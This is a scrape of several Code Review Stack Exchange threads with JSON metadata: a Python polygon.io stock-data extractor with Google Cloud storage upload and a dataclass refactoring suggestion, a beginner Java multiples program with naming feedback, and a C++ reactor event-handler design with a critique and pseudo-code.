self.logger.exception(
f'Failed to get {future_requests[future_response]}\n{e}'
)
@staticmethod
def get_intervals(
start_date, end_date=None, days_per_request=5, date_fmt='%Y-%m-%d'
):
"""
Get all date intervals that need to be extracted.
Args:
start_date: Timestamp / datetime.
end_date: Timestamp / datetime.
days_per_request: Maximum days per HTTP request.
date_fmt: Output interval date format.
Returns:
start_intervals, end_intervals
"""
start_intervals = pd.date_range(
start_date,
end_date or datetime.now(),
freq=f'{days_per_request + 1}d',
)
end_intervals = start_intervals + pd.offsets.Day(days_per_request)
return [
interval.to_series().dt.strftime(date_fmt)
for interval in (start_intervals, end_intervals)
]
def store_gcp_bucket(self, fp):
"""
Store data to google bucket.
Args:
fp: Filepath to be stored(folder or file).
Returns:
None
"""
gcp_credentials = None
if self.gcp_key:
with open(self.gcp_key) as key:
gcp_credentials = json.load(key)
gcp_credentials = ServiceAccountCredentials.from_json_keyfile_dict(
gcp_credentials
)
client = storage.Client(credentials=gcp_credentials)
bucket = client.get_bucket(self.gcp_bucket)
self.upload_to_gcp(fp, bucket)
def upload_to_gcp(self, fp, bucket):
"""
Upload a given filepath to GCP bucket.
Args:
fp: Filepath to be uploaded(folder or file).
bucket: gcloud.storage.bucket.Bucket
Returns:
None
"""
if os.path.isfile(fp):
blob = bucket.blob(fp)
blob.upload_from_filename(fp)
self.delete_file(fp)
self.logger.info(f'Transfer of gs://{fp} complete')
if os.path.isdir(fp):
fps = [os.path.join(fp, f) for f in os.listdir(fp)]
for fp in fps:
self.upload_to_gcp(fp, bucket)
def finalize_extraction(self, fp, sort_column=None):
"""
Process file after extraction.
Args:
fp: Path to output file.
sort_column: Column to sort data by.
Returns:
None
"""
if not os.path.exists(fp):
self.logger.info(f'Expected to find {fp}')
return
if self.single_file:
temp = pd.read_parquet(fp)
self.delete_file(fp)
if sort_column and sort_column in temp.columns:
temp = temp.set_index(sort_column).sort_index()
temp.to_parquet(fp)
if self.gcp_bucket:
self.store_gcp_bucket(fp)
@staticmethod
def join_query(query_args, **kwargs):
"""
Join query args.
Args:
query_args: A dictionary that contains args and their values.
**kwargs: Additional args and their values.
Returns:
joined query.
"""
query_args.update(kwargs)
return '&'.join(f'{arg}={val}' for arg, val in query_args.items())
@staticmethod
def delete_file(fp):
"""
Delete a file from disk.
Args:
fp: Path to file to be deleted.
Returns:
None
"""
if os.path.isdir(fp):
shutil.rmtree(fp)
if os.path.isfile(fp):
os.remove(fp)
def get_url(self, full_url):
"""
Send a GET request.
Args:
full_url: Full url with target args.
Returns:
response.
"""
response = requests.get(full_url, headers=self.request_headers)
self.logger.info(f'Got response {response} for {full_url}')
return response
</code></pre>
<p><code>polygon_extractor.py</code> is <code>BaseExtractor</code> subclass and has methods specific to polygon API. You will come across <code>sys.path.append()</code> I mentioned earlier that I need to replace without introducing issues to the code. <code>extractors</code> is the name of the enclosing repo subfolder that contains extraction modules.</p>
<pre><code>import sys
sys.path.append('..')
from extractors.base_extractor import BaseExtractor
from collections import defaultdict
from pathlib import Path
class PolygonExtractor(BaseExtractor):
"""
A tool for downloading data from polygon.io API
"""
def __init__(
self,
api_key,
base_url='https://api.polygon.io',
compression='gzip',
log_file=None,
workers=4,
single_file=False,
gcp_bucket=None,
gcp_key=None,
):
"""
Initialize extractor
Args:
api_key: Key provided by polygon.io API.
base_url: https://api.polygon.io
compression:
parquet compression types:
- 'brotli'
- 'snappy'
- 'gzip'
log_file: Path to log file.
workers: Concurrent connections.
single_file: Single file per extraction.
gcp_bucket: Google bucket name.
gcp_key: Google bucket authentication json key file.
"""
self.ticker_extraction_counts = defaultdict(lambda: 0)
super(PolygonExtractor, self).__init__(
api_key,
base_url,
compression,
log_file,
workers,
single_file,
gcp_bucket,
gcp_key,
)
def extract_agg_page(self, full_url, ticker, interval, fp):
"""
Extract a single page ticker data from urls with the following prefix:
https://api.polygon.io/v2/aggs/ticker/
Args:
full_url: Full url with the valid prefix and args.
ticker: One of the tickers supported ex: 'AAPL'
interval: One of the following:
- 'minute'
- 'hour'
- 'day'
- 'week'
- 'month'
- 'quarter'
- 'year'
fp: Path to output file.
Returns:
None
"""
response = self.get_url(full_url)
start_date, end_date = full_url.split('/')[10:12]
self.logger.info(
f'Extracted {ticker} aggregate {interval} data '
f'[{start_date}] --> [{end_date[:10]}] | url: {full_url}'
)
self.write_results(response, fp, 'results')
def extract_ticker_page(self, full_url, market, fp, total_pages=1):
"""
Extract a single page ticker data from urls with the following prefix.
https://api.polygon.io/v2/reference/tickers
Args:
full_url: Full url with the valid prefix.
market: One of the supported markets.
fp: Path to output file.
total_pages: Total number of pages that are being extracted.
Returns:
None
"""
response = self.get_url(full_url)
self.ticker_extraction_counts[market] += 1
completed = self.ticker_extraction_counts[market]
self.logger.info(
f'Extracted {market} ticker page: {completed}/{total_pages} url: {full_url}'
)
self.write_results(response, fp, 'tickers')
def extract_available_tickers(
self,
fp,
sort_by='ticker',
market='STOCKS',
per_page=2000,
sort_column=None,
**kwargs,
):
"""
Extract all available tickers for a given market
Args:
fp: Path to output file
sort_by: 'ticker' or 'type'
market: One of the following options:
- 'STOCKS'
- 'INDICES'
- 'CRYPTO'
- 'FX'
per_page: Results returned per result page
sort_column: Column name to use for sorting the data.
**kwargs: Additional query args
Returns:
None
"""
self.logger.info(f'Started extraction of {market} available tickers')
query_args = {
'sort': sort_by,
'market': market,
'perpage': per_page,
'page': '1',
}
query_args = self.join_query(query_args, **kwargs)
query_contents = [
self.base_url,
'v2',
'reference',
f'tickers?{query_args}&apiKey={self.api_key}',
]
full_link = '/'.join(query_contents)
count = int(self.get_url(full_link).json()['count'])
page_count = (count // per_page) + 1
target_urls = [
full_link.replace('page=1', f'page={i}') for i in range(1, page_count + 1)
]
self.extract_data(self.extract_ticker_page, target_urls, market, fp, page_count)
self.finalize_extraction(fp, sort_column)
self.logger.info(f'Finished extraction of {market} available tickers')
def extract_ticker(
self,
fp,
ticker,
start_date,
end_date=None,
days_per_request=5,
interval='day',
multiplier='1',
date_fmt='%Y-%m-%d',
sort_column=None,
**kwargs,
):
"""
Extract data of a supported ticker for a specified period of time
Args:
fp: Path to output file
ticker: A supported ticker ex: 'AAPL'
start_date: A date in the following format yy-mm-dd to start from
end_date: A date in the following format yy-mm-dd to stop at
days_per_request: Days to extract per get request
interval: interval between data points, options are:
- 'minute'
- 'hour'
- 'day'
- 'week'
- 'month'
- 'quarter'
- 'year'
multiplier: Size of the timespan multiplier
date_fmt: Date interval format, default yy-mm-dd
sort_column: Column name to use for sorting the data.
**kwargs: Additional query args.
Returns:
None
"""
self.logger.info(f'Started extraction of {ticker}')
start_intervals, end_intervals = self.get_intervals(
start_date, end_date, days_per_request, date_fmt
)
query_args = self.join_query({}, **kwargs)
query_contents = [
self.base_url,
'v2',
'aggs',
'ticker',
ticker,
'range',
multiplier,
interval,
'start_date',
f'end_date?{query_args}&apiKey={self.api_key}',
]
full_url = '/'.join(query_contents)
target_urls = [
full_url.replace('start_date', d1).replace('end_date', d2)
for d1, d2 in zip(start_intervals, end_intervals)
]
self.extract_data(self.extract_agg_page, target_urls, ticker, interval, fp)
self.finalize_extraction(fp, sort_column)
self.logger.info(f'Finished extraction of {ticker}')
def extract_tickers(self, ticker_file, destination='.', *args, **kwargs):
"""
Extract ticker data from a file containing a list of tickers.
Args:
ticker_file: Filepath that contains target tickers.
destination: Path to destination folder.
*args: self.extract_ticker() args.
**kwargs: self.extract_ticker() kwargs.
Returns:
None
"""
tickers = [item for item in open(ticker_file)]
total = len(tickers)
for i, ticker in enumerate(tickers):
fp = Path(destination) / Path(f'{(ticker := ticker.strip())}.parquet')
self.extract_ticker(str(fp), ticker, *args, **kwargs)
self.logger.info(
f'Extracted {i + 1}/{total} tickers | '
f'completed: {100 * ((i + 1) / total)}%'
)
</code></pre>
<p><code>extract.py</code> is the cli parsing module that defines general as well as API specific args. And it allows control over the whole extraction operation from the command line.</p>
<pre><code>#!/usr/local/bin/python3.8
import argparse
import sys
sys.path.append('..')
from extractors.polygon_extractor import PolygonExtractor
from extractors.tiingo_extractor import TiingoExtractor
import os
import sys
def process_polygon(cli_args, extractor):
"""
Perform extraction through polygon.io API
Args:
cli_args: Command line args.
extractor: BaseExtractor subclass.
Returns:
None
"""
if cli_args.available:
extractor.extract_available_tickers(
cli_args.output,
market=cli_args.market,
per_page=cli_args.per_page,
sort_column=cli_args.sort_column,
)
if cli_args.ticker:
assert cli_args.ticker, f'ticker not specified'
assert cli_args.start_date, f'start date not specified'
assert cli_args.output, f'Output file not specified'
extractor.extract_ticker(
cli_args.output,
cli_args.ticker,
cli_args.start_date,
cli_args.end_date,
cli_args.days_per_request,
cli_args.interval,
sort_column=cli_args.sort_column,
)
if cli_args.tickers:
os.makedirs(cli_args.output, exist_ok=True)
extractor.extract_tickers(
cli_args.tickers,
cli_args.output,
cli_args.start_date,
cli_args.end_date,
cli_args.days_per_request,
cli_args.interval,
sort_column=cli_args.sort_column,
)
def process_from_cli(parser, argv):
"""
Parse cli args and initialize extractor.
Args:
parser: argparse.ArgumentParser()
argv: sys.argv
Returns:
None
"""
extractors = {'tiingo': TiingoExtractor, 'polygon': PolygonExtractor}
cli_args = parser.parse_args(argv)
assert (target := cli_args.target) in extractors, 'unsupported api'
extractor = extractors[target](
api_key=cli_args.key,
compression=cli_args.compression,
log_file=cli_args.log,
workers=cli_args.workers,
single_file=cli_args.single_file,
gcp_bucket=cli_args.gcp_bucket,
gcp_key=cli_args.gcp_key,
)
if target == 'polygon':
process_polygon(cli_args, extractor)
def default_args():
"""
Define default cli args that are common between supported APIs.
Returns:
parser, extraction_group
"""
parser = argparse.ArgumentParser()
extraction_group = parser.add_mutually_exclusive_group()
extraction_group.add_argument('--ticker', help="a single ticker ex: 'AAPL'")
extraction_group.add_argument('--tickers', help='a file that contains tickers')
parser.add_argument('-k', '--key', help='polygon.io api key', required=True)
parser.add_argument(
'-t', '--target', help="One of the supported apis ex: 'tiingo'", required=True
)
parser.add_argument(
'-o', '--output', help='path to a file or folder', required=True
)
parser.add_argument(
'-c', '--compression', help='compression type', default='brotli'
)
parser.add_argument('-l', '--log', help='log file path')
parser.add_argument(
'-w', '--workers', help='concurrent requests', default=4, type=int
)
parser.add_argument(
'--single_file',
action='store_true',
help='combine .parquet file chunks in a single file',
)
parser.add_argument(
'--start_date', help="start date of extraction for timed data ex: '2020-01-30'"
)
parser.add_argument(
'--end_date', help='end date of extraction for timed data', default=None
)
parser.add_argument(
'--gcp_key', help='Google cloud json authentication file', default=None
)
parser.add_argument('--gcp_bucket', help='Google cloud bucket name', default=None)
parser.add_argument(
'--days_per_request',
help='day interval per get request',
default=5,
type=int,
)
parser.add_argument(
'--interval', help='interval between data points', default='day'
)
parser.add_argument(
'--sort_column', help='column name to sort data by', default=None
)
return parser, extraction_group
def get_polygon_args(parser, extraction_group):
"""
Define args that are specific to polygon.io API.
Args:
parser: argparse.ArgumentParser()
extraction_group: Extraction mutually exclusive group.
Returns:
parser
"""
extraction_group.add_argument(
'--available', action='store_true', help='extract available tickers'
)
parser.add_argument('--market', help='market to extract', default='STOCKS')
parser.add_argument(
'--per_page', help='records per response page', default=2000, type=int
)
return parser
def tiingo_args():
pass
def main(argv):
parser, extraction_group = default_args()
updated_parser = get_polygon_args(parser, extraction_group)
process_from_cli(updated_parser, argv)
if __name__ == '__main__':
main(sys.argv[1:])
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T15:51:50.980",
"Id": "489463",
"Score": "0",
"body": "Not a deep dive but smells like there's too much repetition that could be refactored out with the use of something like dataclasses or named tuples to keep track of related data and external configs. For example `ticker, start_date, end_date, days_per_request, interval, multiplier` are passed around a number of times but you have to write them out each time. Same thing with the `api_key, compression, log_file,...` variables. Group them together and pass that around which is saying separate the model from the actions more clearly. Also I'd save the parser args in an external config"
}
] |
[
{
"body": "<p>The biggest thing that stands out to me is the repetition in your code. The same large groups of variables are written out and passed around in the same order repeatedly and the same function is called over and over for different arguments. Those are signs that what you're doing should probably be simplified.</p>\n<p>In particular the model of your config and tickers can be more clearly separated from the actions you use them for.</p>\n<p>For example, <code>BaseExtractor</code> and <code>PolygonExtractor</code> repeat the same 9 variables 5 separate times between being used as paramaters and values to set. That could be cut down to once with dataclasses and multiple inheritance:</p>\n<pre><code>from dataclasses import dataclass\nfrom collections import defaultdict\n\n\n@dataclass \nclass BaseExtractorConfig:\n api_key: str\n base_url: str\n compression: str ='gzip'\n log_file: str = None\n workersL: int = 4\n single_file: bool = False\n gcp_bucket: str = None\n gcp_key: str = None\n request_headers: str = None\n logger: str = None\n\n def __post_init__(self):\n self.logger = self.get_logger()\n\n\nclass BaseExtractor(BaseExtractorConfig): \n def get_logger(self):\n return 'logger set'\n\n\n@dataclass\nclass PolygonExtractorConfig(BaseExtractorConfig):\n base_url: str = 'https://api.polygon.io'\n ticker_extraction_counts: dict = None\n \n def __post_init__(self):\n super().__post_init__()\n self.ticker_extraction_counts = defaultdict(lambda: 0)\n\n\nclass PolygonExtractor(PolygonExtractorConfig, BaseExtractor):\n def f(self):\n print(self)\n\npe = PolygonExtractor('api_key_here', gcp_key="added a kwargs")\npe.f()\n</code></pre>\n<p>which prints</p>\n<pre><code>PolygonExtractor(api_key='api_key_here', base_url='https://api.polygon.io', compression='gzip', log_file=None, workersL=4, single_file=False, gcp_bucket=None, gcp_key='added a kwargs', request_headers=None, logger='logger set', ticker_extraction_counts=defaultdict(<function PolygonExtractorConfig.__post_init__.<locals>.<lambda> at 0x7f43344e73a0>, {}))\n</code></pre>\n<p>You could take a similar approach to the ticker values which would make it much easier to follow what are objects being used in your code and what are actions being performed.</p>\n<p>I would also split the parser arguments into a separate json file or the like, read them in as a list, and then add them all with a single loop. The external file would more clearly show the commands and their structures while the code in python would be cleaner.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T22:23:41.767",
"Id": "489497",
"Score": "0",
"body": "Thanks, i'll try your suggestions. What about performance? Is there a room for improvements?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T23:55:43.067",
"Id": "489498",
"Score": "0",
"body": "honestly given how many variables were getting passed all over the place and the fact I didn't have a token to test I didn't even try to trace through all of what's going where to find any bottlenecks. It's 650+ lines with the comments and no clear way to tell what's happening at a glance, hence the refactoring I suggested. Your comments are also helpful in an ide but hurt readability a lot when you spend more lines describing a function than the function itself. Some more orthognality wouldn't hurt either. Seems like there's loggers and apis and file systems left and right in the code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T00:01:17.397",
"Id": "489499",
"Score": "0",
"body": "I'd be happy to take another look if you end up refactoring it a bit and reposting"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T17:17:02.347",
"Id": "249637",
"ParentId": "249605",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T07:40:10.347",
"Id": "249605",
"Score": "2",
"Tags": [
"python",
"pandas",
"rest",
"google-cloud-platform",
"parquet"
],
"Title": "Stock data REST API extractor with GCP storage options"
}
|
249605
|
<p>Displaying Some Multiples
Write a program to calculate the multiples of a given number. Have the user enter a number, and then use a for loop to display all the multiples of that number from 1 to 12. It is not necessary to use a function.
You must use a for loop.</p>
<pre><code>/*
* Code by Clint <https://github.com/clieg>
*
*
* Problem from: http://programmingbydoing.com/a/displaying-some-multiples.html
*/
import java.util.Scanner;
public class DisplayingSomeMultiples {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
int number;
System.out.print("Choose a number: ");
number = input.nextInt();
System.out.println();
for (int i = 1; i <= 12; i++) {
int mutiply = number * i;
System.out.println(number + " x " + i + " = " + mutiply);
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T08:18:43.943",
"Id": "489423",
"Score": "0",
"body": "`multiple` instead of `mutiply` will get you one point more. ;)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T10:00:54.377",
"Id": "489427",
"Score": "0",
"body": "@JoopEggen or removing the temporary variable entirely..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T10:03:08.427",
"Id": "489428",
"Score": "0",
"body": "Strictly speaking, your program outputs much more then what it is supposed to ;)"
}
] |
[
{
"body": "<p>That looks quite good actually, minor stuff only.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>for (int i = 1; i <= 12; i++) {\n</code></pre>\n<p>I'm a persistent advocate for using "real" names for loop variables, like <code>index</code> or <code>count</code> or <code>factor</code> in this case.</p>\n<pre class=\"lang-java prettyprint-override\"><code> for (int factor = 1; factor <= 12; factor++) {\n int result = number * factor;\n System.out.println(number + " x " + factor + " = " + result);\n }\n</code></pre>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> Scanner input = new Scanner(System.in);\n int number;\n</code></pre>\n<p>Do not declare all variables at the beginning of the method, declare them only when needed, that will limit the variable from creeping into scopes they don't belong in.</p>\n<hr />\n<p>You could define the maximum factor as a constant.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:32:16.440",
"Id": "249635",
"ParentId": "249606",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T07:48:45.523",
"Id": "249606",
"Score": "5",
"Tags": [
"java",
"beginner"
],
"Title": "Displaying some multiples"
}
|
249606
|
<ol>
<li>The reactor possesses its own thread to wait for messages in an event loop.</li>
<li>Users should be able to start or stop the reactor at any point. These two operations are not required to be thread-safe.</li>
<li>Users should be able to asynchronously register or remove message handlers from the reactor.</li>
<li>It is possible that users may register or remove any handler within the message handling routine of a handler.</li>
</ol>
<p>NOTE: I use arbitrary delays to simulate input blocking. The test code is in main() and not as separate CPP UNIT tests, since this is not a requirement. As far as I know, this code works fine, but I can test it more thoroughly. Async logic is there assuming that the user of the reactor will call std::async(func-name).</p>
<p>My implementation:</p>
<pre><code>#include <iostream>
#include <algorithm>
#include <chrono>
#include <thread>
#include <map>
#include <functional>
#include <mutex>
namespace reactor
{
struct Message
{
int32_t type;
char data[256];
};
// Define a few message types to simulate User event behaviour.
enum MessageTypes
{
OPEN = 0,
READ,
WRITE,
CLOSE,
REGISTER_HANDLER,
REMOVE_HANDLER
};
class IEventHandler
{
public:
virtual ~IEventHandler() {};
virtual void OnMessage(const Message* msg) = 0;
};
class EventHandler : public IEventHandler
{
public:
EventHandler() {};
EventHandler(const Message *msg)
{
fresh_msg = msg;
event_loop_start = true;
reactor_thread = std::thread(&EventHandler::MessageLoop, this);
}; // Take in the pointer to a message as an argument to the constructor.
bool RegisterEventHandler(int user_id, int message_type, std::function<void (void)> func)
{
std::lock_guard<std::mutex> lock(map_mutex);
handler_map[user_id][message_type] = func;
register_status_map[user_id][message_type] = true;
return register_status_map[user_id][message_type];
}
bool RemoveEventHandler(int user_id, int message_type)
{
std::lock_guard<std::mutex> lock(map_mutex);
handler_map[user_id].erase(message_type);
register_status_map[user_id][message_type] = false;
return register_status_map[user_id][message_type];
}
virtual void OnMessage(const Message* msg) override
{
fresh_msg = msg;
}
void startEventHandlerThread()
{
if (event_loop_start == false)
{
event_loop_start = true;
reactor_thread.join(); //Thread was already started and stopped. Restart it again.
reactor_thread = std::thread(&EventHandler::MessageLoop, this);
}
}
void stopEventHandlerThread()
{
event_loop_start = false;
}
std::function<void(void)> getHandler()
{
return register_handler;
}
void setHandler(std::function<void(void)> reg_handler)
{
register_handler = reg_handler;
}
~EventHandler()
{
if (reactor_thread.joinable())
{
reactor_thread.join();
}
};
private:
//Don't expose the actual message parsing logic to the end user.
void MessageLoop()
{
while (event_loop_start)
{
if (fresh_msg)
{
std::chrono::milliseconds wait_for_input((fresh_msg->type + 1) * 100);
std::this_thread::sleep_for(wait_for_input); // Simulate waiting for input, based on the message type, by putting the thread to sleep.
ParseMessage(fresh_msg);
}
else
{
std::cerr << "Invalid incoming message! msg pointer is NULL. " << std::endl;
}
}
}
void ParseMessage(const Message* msg)
{
std::lock_guard<std::mutex> lock(msg_mutex);
// Assume that user ID is obtained from the first 2 bytes of the message payload.
int user_id = (msg->data[1] << 8) | msg->data[0];
std::map<int, std::function<void(void)>> event_map;
if (msg->type == REGISTER_HANDLER)
{
if (this->getHandler())
{
RegisterEventHandler(user_id, msg->type, this->getHandler());
}
else
{
std::cerr << "Cannot register Event handler since it is NULL!" << std::endl;
}
}
else if (msg->type == REMOVE_HANDLER)
{
RemoveEventHandler(user_id, msg->type);
}
else
{
try
{
event_map = handler_map.at(user_id);
std::function<void(void)> handler = event_map.at(msg->type);
//Call the function registered by a specific user, for a specific message type.
handler();
}
catch (const std::out_of_range&)
{
// Further analysis can be done on which key failed, exactly.
std::cout << "One of the Keys " << user_id << " or " << msg->type << " not found" << std::endl;
}
}
}
const Message* fresh_msg{ nullptr };
std::thread reactor_thread;
std::function<void(void)> register_handler = nullptr;
std::atomic<bool> event_loop_start{ false };
std::map<int, std::map<int, std::function<void (void)>>> handler_map; // Create a std::map of std::map, containing user IDs and a map of message types and event handlers, for each user ID.
// User IDs can be set from outside.
std::map<int, std::map<int, bool>> register_status_map; // Create a second std::map of std::map, containing user IDs and a map of message types and boolean flags, for each user ID.
// This map indicates whether a handler has completed its task or not, by making the handler set the flag on completion.
std::mutex map_mutex;
std::mutex msg_mutex;
};
}
void TestRead1()
{
std::cout << "Reading from user1. " << std::endl;
}
void TestWrite1()
{
std::cout << "Writing from user1. " << std::endl;
}
void TestOpen1()
{
std::cout << "Opening a file from user1. " << std::endl;
}
void TestRead2()
{
std::cout << "Reading from user2. " << std::endl;
}
void TestWrite2()
{
std::cout << "Writing from user2. " << std::endl;
}
void TestOpen2()
{
std::cout << "Opening a file from user2. " << std::endl;
}
int main()
{
/* Simulating end users of a reactor. */
reactor::Message* msg_ptr;
reactor::Message message1 = { reactor::OPEN, {0,1,2,3} };
msg_ptr = &message1;
reactor::EventHandler event_handler(msg_ptr);
event_handler.startEventHandlerThread();
event_handler.RegisterEventHandler(256, reactor::READ, TestRead1);
event_handler.RegisterEventHandler(256, reactor::OPEN, TestOpen1);
event_handler.RegisterEventHandler(256, reactor::WRITE, TestWrite1);
reactor::Message message2 = { reactor::READ, {1,1,2,3} };
msg_ptr = &message2;
event_handler.RegisterEventHandler(257, reactor::READ, TestRead2);
event_handler.OnMessage(msg_ptr);
int count = 0;
while (1)
{
count++;
std::cout << "count: " << count << std::endl;
event_handler.OnMessage(msg_ptr);
if (count % 2 == 0)
{
message1.type = count % 3;
msg_ptr = &message1;
event_handler.RemoveEventHandler(((message1.data[1] << 8) | message1.data[0]), message1.type);
}
else
{
message2.type = count%7;
msg_ptr = &message2;
}
if (count >= 100 && count <= 200)
{
event_handler.stopEventHandlerThread();
}
if (count > 200)
{
event_handler.startEventHandlerThread();
}
if (count > 500)
{
event_handler.stopEventHandlerThread();
break;
}
std::chrono::milliseconds change_interval(20);
std::this_thread::sleep_for(change_interval);
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T10:35:10.567",
"Id": "489432",
"Score": "0",
"body": "Welcome to CodeReview@SE. Please give a rationale for tagging both \nc++11 and c++14 (*and* leaving out [tag:c++]). (I'd put the sentences preceding the requirements in a comment.)(Put a new-line after the terminating `\\`\\`\\`` of a terminating code block - scroll to its end to see why.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T11:06:01.540",
"Id": "489434",
"Score": "0",
"body": "@greybeard: Thanks. Added a newline after ``` as suggested. The rationale is to emphasize modern C++ so that readers don't think that I am referring to C++03. I am sure that there is no C++17 or higher in my code, hence C++11 and 14."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T11:07:30.177",
"Id": "489435",
"Score": "0",
"body": "Hopefully this is a good question, I did read the link on how to ask questions and saw nothing against this. Requirements for this reactor are mentioned in the question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T19:01:42.813",
"Id": "489483",
"Score": "0",
"body": "@VijayendarSridharan It doesn't make sense to say your code is both C++11 and C++14. If you want to ensure it compiles cleanly with any C++11 compliant compiler, just use only the `c++11` tag."
}
] |
[
{
"body": "<h2>Overview</h2>\n<p>I started the code review but stopped half way through.</p>\n<p>This is all wrong.</p>\n<p>A reactor should hold a thread pool (or a single thread to do the work). When an event is triggered a thread is released from the pool and simply calls the <code>OnMessage()</code> method of all appropriately registered handlers.</p>\n<p>You are confusing the event handler pattern and the reactor pattern and smooshing the all together in one mess.</p>\n<p>I have added some Pseudo code at the bottom to show an approximation of how the pattern should be written.</p>\n<h2>Code Review (Partial).</h2>\n<p>Personal preference here:<br />\nDon't like all upper case identifiers. Shouting. When I see <code>OPEN</code> in the code I am likely to think this is some type of macro. Not going to be a big deal if you don't change in my opinion.</p>\n<pre><code> enum MessageTypes\n {\n OPEN = 0,\n READ, \n WRITE,\n CLOSE,\n REGISTER_HANDLER,\n REMOVE_HANDLER\n };\n</code></pre>\n<hr />\n<p>Is <code>msg</code> every going to be <code>nullptr</code>?</p>\n<pre><code> virtual void OnMessage(const Message* msg) = 0;\n</code></pre>\n<p>I would suspect a better interface is to pass a reference to the message. This also has a better interface as you are not confusing the user of ownership semantics. If you are transferring ownership you will need to use a smart pointer.</p>\n<hr />\n<p>This is a bad idea.</p>\n<pre><code> reactor_thread = std::thread(&EventHandler::MessageLoop, this);\n</code></pre>\n<p>Relatively speaking a thread is a heavy weight object. You should not be creating them just to do a small amount of work. I would expect there to be a thread pool processing these events so that you can re-use the threads.</p>\n<p>You should definitely not be creating a thread for each callback item.</p>\n<p>If you don't want to create and maintain your own thread pool then use the <code>std::async()</code> method. According to the standard this is backed by its own thread pool and allows you to run async tasks.</p>\n<hr />\n<pre><code> EventHandler(const Message *msg) \n</code></pre>\n<p>Why is the <code>EventHandler</code> get a pointer to the message in the constructor. This is not available until there is an event that happens. This makes no sense!</p>\n<p>The even handler is given the event on <code>OnMessage</code> that is the point of the interface you just defined above.</p>\n<hr />\n<p>These don't really belong to the event handler.</p>\n<pre><code> bool RegisterEventHandler(int user_id, int message_type, std::function<void (void)> func)\n bool RemoveEventHandler(int user_id, int message_type)\n</code></pre>\n<p>These are part of the <code>reactor</code>. But the reactor is a namespace!!!! The reactor should be a class in its own right.</p>\n<hr />\n<p>What.</p>\n<pre><code> virtual void OnMessage(const Message* msg) override\n {\n fresh_msg = msg;\n }\n</code></pre>\n<p>This is supposed to be the handler. This is where you do the work when the reactor calls to do the work.</p>\n<hr />\n<p>Thread handling should not be done in the Event Handler.</p>\n<pre><code> void startEventHandlerThread()\n void stopEventHandlerThread()\n</code></pre>\n<p>This the job of the reactor!</p>\n<hr />\n<p>You should not be using <code>wait()</code>.</p>\n<pre><code> std::chrono::milliseconds wait_for_input((fresh_msg->type + 1) * 100);\n</code></pre>\n<p>This is known as a busy wait. Your thread is continuously waking up and checking its state. Most of the time to do nothing. The thread should be asleep (inactive). It only wakes up when there is work to be done.</p>\n<pre><code> std::this_thread::sleep_for(wait_for_input);\n</code></pre>\n<p>You should be using <code>std::condition_variable</code>. This allows you to sleep the thread so it does not use any resources until there is work for it to do. Then you can wake it up with a call to <code>notify()</code>.</p>\n<h2>How to do it:</h2>\n<p>Re-Using a thread queue from here: <a href=\"https://codereview.stackexchange.com/q/47122/507\">A simple Thread Pool</a></p>\n<pre><code>namespace ThorsAnvil::Reactor \n{\n\nenum MessageTypes\n{\n OPEN = 0,\n READ, \n WRITE,\n CLOSE,\n REGISTER_HANDLER,\n REMOVE_HANDLER\n};\n\nclass IEventHandler\n{\n public:\n virtual ~IEventHandler() {};\n virtual void OnMessage(Message const& msg) = 0;\n};\n\nclass Reactor\n{\n // In more modern C++ I would not even use this.\n // Simply leave this out and use `std::async below.\n SimpleWorkQueue threadPool;\n\n std::map<MessageTypes, std::list<std::unique_ptr<IEventHandler>>> handler;\n\n public:\n addHandler(MessageTypes type, std::unique_ptr<IEventHandler> handler)\n {\n // Lock Here.\n handler[type].emplace_back(std::move(handler));\n }\n addEvent(MessageTypes type, Message const& event)\n {\n // Lock Here.\n auto& listHandlers = handler[type];\n for (auto const& handler: listHandlers) {\n // If you are not using the thread pool\n // replace this with std::async.\n threadPool.addWorkItem([&event, &handler]()\n {\n handler->OnMessage(event);\n });\n }\n }\n};\n} // end of namespace\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T22:19:09.777",
"Id": "489496",
"Score": "0",
"body": "Knew there was something messed up. Thanks. I read the Wiki entry and the 2nd question on reactor on this website as well as Vanderbilt’s paper. But couldn’t understand the concept fully. Also, I have no clue as to how to implement a blocking call like select() on Windows, hence the simulated wait in the thread."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T19:36:54.527",
"Id": "249647",
"ParentId": "249607",
"Score": "2"
}
},
{
